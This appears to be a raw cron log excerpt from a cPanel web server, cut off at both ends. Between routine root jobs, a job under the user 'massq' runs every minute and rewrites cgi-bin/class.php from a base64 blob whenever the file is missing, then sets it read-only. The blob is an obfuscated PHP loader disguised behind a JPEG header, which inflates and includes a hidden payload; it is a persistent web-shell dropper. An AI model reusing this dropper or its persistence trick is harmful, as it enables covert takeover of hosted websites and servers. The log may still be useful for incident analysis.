k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:25:01 server CROND[15590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:25:01 server CROND[15591]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:26:01 server CROND[15708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:27:01 server CROND[15778]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 22:27:01 server CROND[15777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:28:01 server CROND[15862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:29:01 server CROND[16016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:30:01 server CROND[16088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:30:01 server CROND[16090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:30:01 server CROND[16089]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 22:30:01 server CROND[16091]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:31:01 server CROND[16223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:32:01 server CROND[16294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:33:01 server CROND[16349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:34:01 server CROND[16419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:35:01 server CROND[16588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:35:01 server CROND[16589]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:35:01 server CROND[16592]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 22:35:01 server CROND[16595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:35:01 server CROND[16591]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 22:36:01 server CROND[16722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:37:01 server CROND[16835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:38:01 server CROND[16911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:39:01 server CROND[16982]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 22:39:01 server CROND[16983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk